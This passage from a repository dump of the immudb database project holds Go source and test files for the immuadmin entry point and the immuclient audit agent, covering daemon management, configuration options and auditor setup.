    "content": "//go:build fips\n// +build fips\n\n/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage main\n\nimport (\n\t_ \"crypto/tls/fipsonly\"\n\n\timmuadmin \"github.com/codenotary/immudb/cmd/immuadmin/command\"\n)\n\nfunc main() {\n\timmuadmin.Execute()\n}\n"
  },
  {
    "path": "cmd/immuadmin/immuadmin.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage main\n\nimport immuadmin \"github.com/codenotary/immudb/cmd/immuadmin/command\"\n\nfunc main() {\n\timmuadmin.Execute()\n}\n"
  },
  {
    "path": "cmd/immuclient/audit/auditagent.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage audit\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\n\t\"github.com/spf13/cobra\"\n\n\tc \"github.com/codenotary/immudb/cmd/helper\"\n\timmusrvc \"github.com/codenotary/immudb/cmd/sservice\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/client/auditor\"\n\t\"github.com/codenotary/immudb/pkg/client/state\"\n\t\"github.com/spf13/viper\"\n\t\"github.com/takama/daemon\"\n)\n\n// AuditAgent ...\ntype AuditAgent interface {\n\tManage(args []string, cmd *cobra.Command) (string, error)\n\tInitAgent() (AuditAgent, error)\n}\n\ntype auditAgent struct {\n\tservice        immusrvc.Sservice\n\tuuidProvider   state.UUIDProvider\n\tDaemon         daemon.Daemon\n\tcycleFrequency int\n\tmetrics        prometheusMetrics\n\tImmuAudit      auditor.Auditor\n\timmuc          client.ImmuClient\n\tfirstRun       bool\n\topts           *client.Options\n\tlogger         logger.Logger\n\tPid            server.PIDFile\n\tlogfile        *os.File\n}\n\nfunc (a *auditAgent) Manage(args []string, cmd *cobra.Command) (string, error) {\n\tvar err error\n\tvar msg string\n\tvar command string\n\tif len(args) > 0 {\n\t\tcommand = args[0]\n\t}\n\texec := newExecutable(a)\n\n\tif command == \"install\" {\n\t\tif _, err = a.InitAgent(); err != nil {\n\t\t\tc.QuitToStdErr(err)\n\t\t}\n\t}\n\n\ta.Daemon, err = a.service.NewDaemon(name, name)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif len(command) > 0 {\n\t\tswitch command {\n\t\tcase \"install\":\n\t\t\tif err = a.service.InstallSetup(name, cmd); err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t\tlogfile, err := os.OpenFile(a.opts.LogFileName, os.O_APPEND, 0755)\n\t\t\tif err != nil {\n\t\t\t\tlogfile = os.Stderr\n\t\t\t}\n\t\t\ta.logfile = logfile\n\t\t\ta.logger = logger.NewSimpleLogger(\"immuclientd\", logfile)\n\t\t\tconfigpath, err := a.service.GetDefaultConfigPath(name)\n\t\t\tif err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t\tif msg, err = a.Daemon.Install(\"audit-mode\", \"--config\", configpath); err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t\tfmt.Println(msg)\n\n\t\t\tif msg, err = a.Daemon.Start(); err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t\treturn msg, nil\n\t\tcase \"uninstall\":\n\t\t\tvar status string\n\t\t\tif status, err = a.Daemon.Status(); err != nil {\n\t\t\t\tif err == daemon.ErrNotInstalled {\n\t\t\t\t\treturn \"\", err\n\t\t\t\t}\n\t\t\t}\n\t\t\t// stopping service first\n\t\t\tif a.service.IsRunning(status) {\n\t\t\t\tif msg, err = a.Daemon.Stop(); err != nil {\n\t\t\t\t\treturn \"\", err\n\t\t\t\t}\n\t\t\t\tfmt.Println(msg)\n\t\t\t}\n\t\t\tif msg, err = a.Daemon.Remove(); err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t\tif err = a.service.UninstallSetup(name); err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t\treturn msg, nil\n\n\t\tcase \"start\":\n\t\t\tif msg, err = a.Daemon.Start(); err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t\treturn msg, nil\n\t\tcase \"restart\":\n\t\t\tif msg, err = a.Daemon.Stop(); err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t\tfmt.Println(msg)\n\t\t\tif msg, err = a.Daemon.Start(); err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t\treturn msg, nil\n\t\tcase \"stop\":\n\t\t\treturn a.Daemon.Stop()\n\t\tcase \"status\":\n\t\t\treturn a.Daemon.Status()\n\t\tdefault:\n\t\t\treturn fmt.Sprintf(\"Invalid arg %s\", command), nil\n\t\t}\n\t}\n\n\ta.logger = logger.NewSimpleLogger(\"immuclientd\", os.Stdout)\n\tif a.opts.LogFileName != \"\" {\n\t\ta.logger, a.logfile, err = logger.NewFileLogger(\"immuclientd\", a.opts.LogFileName)\n\t\tdefer a.logfile.Close()\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\tif _, err := a.InitAgent(); err != nil {\n\t\treturn \"\", err\n\t}\n\treturn a.Daemon.Run(exec)\n}\n\nfunc options() *client.Options {\n\tport := viper.GetInt(\"immudb-port\")\n\taddress := viper.GetString(\"immudb-address\")\n\ttokenFileName := viper.GetString(\"tokenfile\")\n\tmtls := viper.GetBool(\"mtls\")\n\tcertificate := viper.GetString(\"certificate\")\n\tservername := viper.GetString(\"servername\")\n\tpkey := viper.GetString(\"pkey\")\n\tclientcas := viper.GetString(\"clientcas\")\n\tpidpath := viper.GetString(\"pidfile\")\n\tlogfilename := viper.GetString(\"logfile\")\n\tserverSigningPubKey := viper.GetString(\"server-signing-pub-key\")\n\toptions := client.DefaultOptions().\n\t\tWithPort(port).\n\t\tWithAddress(address).\n\t\tWithTokenFileName(tokenFileName).\n\t\tWithMTLs(mtls).WithPidPath(pidpath).\n\t\tWithLogFileName(logfilename).\n\t\tWithServerSigningPubKey(serverSigningPubKey)\n\tif mtls {\n\t\t// todo https://golang.org/src/crypto/x509/root_linux.go\n\t\toptions.MTLsOptions = client.DefaultMTLsOptions().\n\t\t\tWithServername(servername).\n\t\t\tWithCertificate(certificate).\n\t\t\tWithPkey(pkey).\n\t\t\tWithClientCAs(clientcas)\n\t}\n\treturn options\n}\n"
  },
  {
    "path": "cmd/immuclient/audit/auditagent_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage audit\n\n/*\nimport (\n\t\"os\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/cmd/immudb/command/service/servicetest\"\n\t\"github.com/spf13/cobra\"\n\n\tsrvc \"github.com/codenotary/immudb/cmd/immuclient/service/configs\"\n\t\"github.com/codenotary/immudb/cmd/immuclient/service/constants\"\n\timmusrvc \"github.com/codenotary/immudb/cmd/sservice\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n\t\"github.com/spf13/viper\"\n\t\"google.golang.org/grpc\"\n)\n\nfunc TestManageNotRoot(t *testing.T) {\n\tsrvoptions := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword)\n\tbs := servertest.NewBufconnServer(srvoptions)\n\tbs.Start()\ndefer bs.Stop()\n\n\tos.Setenv(\"audit-agent-interval\", \"1s\")\n\tpidPath := \"pid_path\"\n\n\tad := new(auditAgent)\n\tad.firstRun = true\n\top := immusrvc.Option{\n\t\tExecPath:      constants.ExecPath,\n\t\tConfigPath:    constants.ConfigPath,\n\t\tUser:          constants.OSUser,\n\t\tGroup:         constants.OSGroup,\n\t\tStartUpConfig: constants.StartUpConfig,\n\t\tUsageDetails:  constants.UsageDet,\n\t\tUsageExamples: constants.UsageExamples,\n\t\tConfig:        srvc.ConfigImmuClient,\n\t}\n\tad.service = immusrvc.NewSService(&op)\n\n\tlogfilename := \"logfile\"\n\tlogfile, err := os.OpenFile(logfilename, os.O_APPEND, 0755)\n\trequire.NoError(t, err)\n\tad.logfile = logfile\n\tad.logger = logger.NewSimpleLogger(\"immuclientd\", logfile)\n\n\tdialOptions := []grpc.DialOption{\n\t\tgrpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t}\n\tad.opts = options().WithMetrics(false).WithDialOptions(dialOptions).WithMTLs(false).WithPidPath(pidPath)\n\t_, err = ad.InitAgent()\n\trequire.NoError(t, err, \"InitAgent\")\n\tdefer func() { os.RemoveAll(pidPath); os.RemoveAll(logfilename) }()\n\n\t_, err = ad.Manage([]string{\"uninstall\"}, &cobra.Command{})\n\tif err == nil || !strings.Contains(err.Error(), \"You must have root user privileges. Possibly using 'sudo' command should help\") {\n\t\tt.Fatal(\"Manage fail, expected error\")\n\t}\n\n\t_, err = ad.Manage([]string{\"start\"}, &cobra.Command{})\n\tif err == nil || !strings.Contains(err.Error(), \"You must have root user privileges. Possibly using 'sudo' command should help\") {\n\t\tt.Fatal(\"Manage fail, expected error\")\n\t}\n\n\t_, err = ad.Manage([]string{\"restart\"}, &cobra.Command{})\n\tif err == nil || !strings.Contains(err.Error(), \"You must have root user privileges. Possibly using 'sudo' command should help\") {\n\t\tt.Fatal(\"Manage fail, expected error\")\n\t}\n\n\t_, err = ad.Manage([]string{\"stop\"}, &cobra.Command{})\n\tif err == nil || !strings.Contains(err.Error(), \"You must have root user privileges. Possibly using 'sudo' command should help\") {\n\t\tt.Fatal(\"Manage fail, expected error\")\n\t}\n\n\t_, err = ad.Manage([]string{\"status\"}, &cobra.Command{})\n\tif err == nil || !strings.Contains(err.Error(), \"You must have root user privileges. Possibly using 'sudo' command should help\") {\n\t\tt.Fatal(\"Manage fail, expected error\")\n\t}\n}\n\nfunc TestManage(t *testing.T) {\n\tsrvoptions := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword)\n\tbs := servertest.NewBufconnServer(srvoptions)\n\tbs.Start()\ndefer bs.Stop()\n\n\tos.Setenv(\"audit-agent-interval\", \"1s\")\n\tpidPath := \"pid_path_2\"\n\n\tad := new(auditAgent)\n\tad.firstRun = true\n\n\tad.service = servicetest.Sservicemock{}\n\n\tlogfilename := \"logfile\"\n\tlogfile, err := os.OpenFile(logfilename, os.O_APPEND, 0755)\n\trequire.NoError(t, err)\n\tad.logfile = logfile\n\tad.logger = logger.NewSimpleLogger(\"immuclientd\", logfile)\n\n\tdialOptions := []grpc.DialOption{\n\t\tgrpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t}\n\tad.opts = options().WithMetrics(false).WithDialOptions(dialOptions).WithMTLs(false).WithPidPath(pidPath)\n\t_, err = ad.InitAgent()\n\trequire.NoError(t, err, \"InitAgent\")\n\tos.RemoveAll(pidPath)\n\tdefer func() { os.RemoveAll(pidPath); os.RemoveAll(logfilename) }()\n\n\t_, err = ad.Manage([]string{}, &cobra.Command{})\n\trequire.NoError(t, err, \"Manage start audit fail\")\n\tos.RemoveAll(pidPath)\n\n\t_, err = ad.Manage([]string{\"install\"}, &cobra.Command{})\n\trequire.NoError(t, err, \"Manage install audit fail\")\n\tos.RemoveAll(pidPath)\n\n\t_, err = ad.Manage([]string{\"uninstall\"}, &cobra.Command{})\n\trequire.NoError(t, err, \"Manage uninstall fail\")\n\tos.RemoveAll(pidPath)\n\n\t_, err = ad.Manage([]string{\"start\"}, &cobra.Command{})\n\trequire.NoError(t, err, \"Manage start fail\")\n\tos.RemoveAll(pidPath)\n\n\t_, err = ad.Manage([]string{\"restart\"}, &cobra.Command{})\n\trequire.NoError(t, err, \"Manage restart fail\")\n\tos.RemoveAll(pidPath)\n\n\t_, err = ad.Manage([]string{\"stop\"}, &cobra.Command{})\n\trequire.NoError(t, err, \"Manage restart\")\n\tos.RemoveAll(pidPath)\n\n\t_, err = ad.Manage([]string{\"status\"}, &cobra.Command{})\n\trequire.NoError(t, err, \"Manage status\")\n\n}\n\nfunc TestOptions(t *testing.T) {\n\tdefer viper.Reset()\n\n\tviper.Set(\"immudb-port\", \"30000\")\n\tviper.Set(\"immudb-address\", \"127.0.0.1\")\n\tviper.Set(\"tokenfile\", \"tokenfile\")\n\tviper.Set(\"mtls\", true)\n\tviper.Set(\"certificate\", \"cert\")\n\tviper.Set(\"servername\", \"myservername\")\n\tviper.Set(\"pkey\", \"pkey\")\n\tviper.Set(\"clientcas\", \"clientcas\")\n\tviper.Set(\"pidfile\", \"pidfilename\")\n\tviper.Set(\"logfile\", \"logfilename\")\n\top := options()\n\tif op.Address != \"127.0.0.1\" ||\n\t\top.Port != 30000 ||\n\t\top.TokenFileName != \"tokenfile\" ||\n\t\t!op.MTLs ||\n\t\top.MTLsOptions.Certificate != \"cert\" ||\n\t\top.MTLsOptions.ClientCAs != \"clientcas\" ||\n\t\top.MTLsOptions.Pkey != \"pkey\" ||\n\t\top.MTLsOptions.Servername != \"myservername\" ||\n\t\top.PidPath != \"pidfilename\" ||\n\t\top.LogFileName != \"logfilename\" {\n\t\tt.Fatal(\"Options fail\")\n\t}\n}\n*/\n"
  },
  {
    "path": "cmd/immuclient/audit/auditor.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage audit\n\nimport (\n\t\"context\"\n\t\"crypto/ecdsa\"\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/pkg/signer\"\n\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/immuos\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/client/auditor\"\n\t\"github.com/codenotary/immudb/pkg/client/cache\"\n\t\"github.com/codenotary/immudb/pkg/client/state\"\n\t\"github.com/spf13/viper\"\n)\n\nconst (\n\tname        = \"immuclient\"\n\tdescription = \"immuclient\"\n)\n\n// ErrAgentNotActive ...\nvar ErrAgentNotActive = errors.New(\"agent not active\")\n\nfunc (cAgent *auditAgent) InitAgent() (AuditAgent, error) {\n\tvar err error\n\tif cAgent.immuc, err = client.NewImmuClient(cAgent.opts); err != nil || cAgent.immuc == nil {\n\t\treturn nil, fmt.Errorf(\"Initialization failed: %s \\n\", err.Error())\n\t}\n\tctx := context.Background()\n\tsclient := cAgent.immuc.GetServiceClient()\n\tcAgent.uuidProvider = state.NewUUIDProvider(sclient)\n\tif cAgent.opts.PidPath != \"\" {\n\t\tif cAgent.Pid, err = server.NewPid(cAgent.opts.PidPath, immuos.NewStandardOS()); err != nil {\n\t\t\tcAgent.logger.Errorf(\"failed to write pidfile: %s\", err)\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tcAgent.cycleFrequency = 60\n\tif freqstr := os.Getenv(\"audit-agent-interval\"); freqstr != \"\" {\n\t\td, err := time.ParseDuration(freqstr)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tcAgent.cycleFrequency = int(d.Seconds())\n\t}\n\n\tserverID, err := cAgent.uuidProvider.CurrentUUID(ctx)\n\tif serverID == \"\" || err != nil {\n\t\tserverID = \"unknown\"\n\t}\n\tif cAgent.opts.Metrics {\n\t\tcAgent.metrics.init(serverID, cAgent.opts.Address, strconv.Itoa(cAgent.opts.Port))\n\t}\n\tcliOpts := cAgent.immuc.GetOptions()\n\tctx = context.Background()\n\tauditUsername := viper.GetString(\"audit-username\")\n\tauditPassword, err := auth.DecodeBase64Password(viper.GetString(\"audit-password\"))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tauditDatabasesStr := viper.GetString(\"audit-databases\")\n\tauditDatabasesArr := strings.Split(auditDatabasesStr, \",\")\n\tvar auditDatabases []string\n\tfor _, dbPrefix := range auditDatabasesArr {\n\t\tdbPrefix = strings.TrimSpace(dbPrefix)\n\t\tif len(dbPrefix) > 0 {\n\t\t\tauditDatabases = append(auditDatabases, dbPrefix)\n\t\t}\n\t}\n\tauditNotificationURL := viper.GetString(\"audit-notification-url\")\n\tauditNotificationUsername := viper.GetString(\"audit-notification-username\")\n\tauditNotificationPassword := viper.GetString(\"audit-notification-password\")\n\tif len(auditUsername) > 0 || len(auditPassword) > 0 {\n\t\tif _, err = cAgent.immuc.Login(ctx, []byte(auditUsername), []byte(auditPassword)); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"Invalid login operation: %v\", err)\n\t\t}\n\t}\n\n\tauditMonitoringHTTPAddr := fmt.Sprintf(\n\t\t\"%s:%d\",\n\t\tviper.GetString(\"audit-monitoring-host\"), viper.GetInt(\"audit-monitoring-port\"))\n\n\tvar pk *ecdsa.PublicKey\n\tif cliOpts.ServerSigningPubKey != \"\" {\n\t\tpk, err = signer.ParsePublicKeyFile(cliOpts.ServerSigningPubKey)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tauditCacheDir := filepath.Join(os.TempDir(), \"auditor\")\n\tif err := os.MkdirAll(auditCacheDir, 0700); err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to create audit cache directory: %w\", err)\n\t}\n\n\tcAgent.ImmuAudit, err = auditor.DefaultAuditor(time.Duration(cAgent.cycleFrequency)*time.Second,\n\t\tfmt.Sprintf(\"%s:%v\", options().Address, options().Port),\n\t\tcliOpts.DialOptions,\n\t\tauditUsername,\n\t\tauditPassword,\n\t\tauditDatabases,\n\t\tpk,\n\t\tauditor.AuditNotificationConfig{\n\t\t\tURL:            auditNotificationURL,\n\t\t\tUsername:       auditNotificationUsername,\n\t\t\tPassword:       auditNotificationPassword,\n\t\t\tRequestTimeout: time.Duration(5) * time.Second,\n\t\t},\n\t\tcAgent.immuc.GetServiceClient(),\n\t\tcAgent.uuidProvider,\n\t\tcache.NewHistoryFileCache(auditCacheDir),\n\t\tcAgent.metrics.updateMetrics,\n\t\tcAgent.logger,\n\t\t&auditMonitoringHTTPAddr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn cAgent, nil\n}\n"
  },
  {
    "path": "cmd/immuclient/audit/auditor_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage audit\n\n/*\nimport (\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n\t\"github.com/spf13/viper\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc\"\n)\n\nfunc TestInitAgent(t *testing.T) {\n\tdefer viper.Reset()\n\n\tsrvoptions := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword)\n\tbs := servertest.NewBufconnServer(srvoptions)\n\tbs.Start()\ndefer bs.Stop()\n\n\tos.Setenv(\"audit-agent-interval\", \"1s\")\n\tpidPath := \"pid_path\"\n\tos.RemoveAll(pidPath)\n\tdefer os.RemoveAll(pidPath)\n\tviper.Set(\"pidfile\", pidPath)\n\n\tdialOptions := []grpc.DialOption{\n\t\tgrpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t}\n\tad := new(auditAgent)\n\tad.logger = logger.NewSimpleLogger(\"TestInitAgent\", os.Stderr)\n\tad.opts = options().WithMetrics(false).WithDialOptions(dialOptions).WithMTLs(false)\n\t_, err := ad.InitAgent()\n\tos.RemoveAll(pidPath)\n\trequire.NoError(t, err, \"InitAgent\")\n\n\tos.Setenv(\"audit-agent-interval\", \"X\")\n\t_, err = ad.InitAgent()\n\tos.RemoveAll(pidPath)\n\trequire.ErrorContains(t, err, \"invalid duration\")\n\tos.Unsetenv(\"audit-agent-interval\")\n\n\tauditPassword := viper.GetString(\"audit-password\")\n\tviper.Set(\"audit-password\", \"X\")\n\t_, err = ad.InitAgent()\n\tos.RemoveAll(pidPath)\n\trequire.ErrorContains(t, err, \"Invalid login operation\")\n\tviper.Set(\"audit-password\", auditPassword)\n}\n*/\n"
  },
  {
    "path": "cmd/immuclient/audit/executable.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage audit\n\nimport (\n\t\"fmt\"\n\t\"time\"\n)\n\ntype executable struct {\n\ta    *auditAgent\n\tstop chan struct{}\n}\n\nfunc newExecutable(a *auditAgent) *executable {\n\texec := new(executable)\n\texec.a = a\n\texec.stop = make(chan struct{}, 1)\n\treturn exec\n}\n\nfunc (e *executable) Start() {\n\tgo e.Run()\n}\n\nfunc (e *executable) Stop() {\n\te.stop <- struct{}{}\n}\n\nfunc (e *executable) Run() {\n\tfmt.Println(time.Duration(e.a.cycleFrequency) * time.Second)\n\te.a.ImmuAudit.Run(time.Duration(e.a.cycleFrequency)*time.Second, false, e.stop, e.stop)\n}\n"
  },
  {
    "path": "cmd/immuclient/audit/executable_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage audit\n\n/*\nimport (\n\t\"os\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n\t\"google.golang.org/grpc\"\n)\n\nfunc TestExecutableRun(t *testing.T) {\n\tsrvoptions := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword)\n\tbs := servertest.NewBufconnServer(srvoptions)\n\tbs.Start()\ndefer bs.Stop()\n\n\tdialOptions := []grpc.DialOption{\n\t\tgrpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t}\n\tpidpath := \"my_pid\"\n\tad := new(auditAgent)\n\tad.opts = options().WithMetrics(false).WithDialOptions(dialOptions).WithMTLs(false).WithPidPath(pidpath)\n\tad.logger = logger.NewSimpleLogger(\"test\", os.Stdout)\n\t_, err := ad.InitAgent()\n\trequire.NoError(t, err, \"InitAgent\")\n\texec := newExecutable(ad)\n\tgo func() {\n\t\ttime.Sleep(200 * time.Millisecond)\n\t\texec.Stop()\n\t}()\n\texec.Run()\n\tos.RemoveAll(pidpath)\n}\n*/\n"
  },
  {
    "path": "cmd/immuclient/audit/init.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage audit\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/spf13/cobra\"\n\n\tsrvc \"github.com/codenotary/immudb/cmd/immuclient/service/configs\"\n\tservice \"github.com/codenotary/immudb/cmd/immuclient/service/constants\"\n\timmusrvc \"github.com/codenotary/immudb/cmd/sservice\"\n)\n\n// Init ...\nfunc Init(args []string, cmd *cobra.Command) (err error) {\n\tvar auditAgent AuditAgent\n\tvalidargs := []string{\"start\", \"install\", \"uninstall\", \"restart\", \"stop\", \"status\", \"help\"}\n\tif len(args) > 0 && !stringInSlice(args[0], validargs) {\n\t\treturn fmt.Errorf(\"ERROR: %v is not matching with any valid arguments.\\n Available list is %v \\n\", args[0], validargs)\n\t}\n\tif auditAgent, err = NewAuditAgent(); err != nil {\n\t\treturn err\n\t}\n\tif msg, err := auditAgent.Manage(args, cmd); err != nil {\n\t\treturn err\n\t} else {\n\t\tfmt.Println(msg)\n\t}\n\treturn nil\n}\n\n// NewAuditAgent ...\nfunc NewAuditAgent() (AuditAgent, error) {\n\tad := new(auditAgent)\n\tad.firstRun = true\n\top := immusrvc.Option{\n\t\tExecPath:      service.ExecPath,\n\t\tConfigPath:    service.ConfigPath,\n\t\tUser:          service.OSUser,\n\t\tGroup:         service.OSGroup,\n\t\tStartUpConfig: service.StartUpConfig,\n\t\tUsageDetails:  service.UsageDet,\n\t\tUsageExamples: service.UsageExamples,\n\t\tConfig:        srvc.ConfigImmuClient,\n\t}\n\tad.service = immusrvc.NewSService(&op)\n\tvar err error\n\tad.opts = options()\n\tdaemon, err := ad.service.NewDaemon(name, description, name)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tad.Daemon = daemon\n\treturn ad, nil\n}\n"
  },
  {
    "path": "cmd/immuclient/audit/init_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage audit\n\nimport (\n\t\"testing\"\n\n\t\"github.com/spf13/cobra\"\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc TestInit(t *testing.T) {\n\targs := []string{\"help\"}\n\terr := Init(args, &cobra.Command{})\n\tassert.NoError(t, err)\n}\n\nfunc TestInitWrongArg(t *testing.T) {\n\targs := []string{\"wrong\"}\n\terr := Init(args, &cobra.Command{})\n\tassert.Error(t, err)\n}\n"
  },
  {
    "path": "cmd/immuclient/audit/metrics.go",
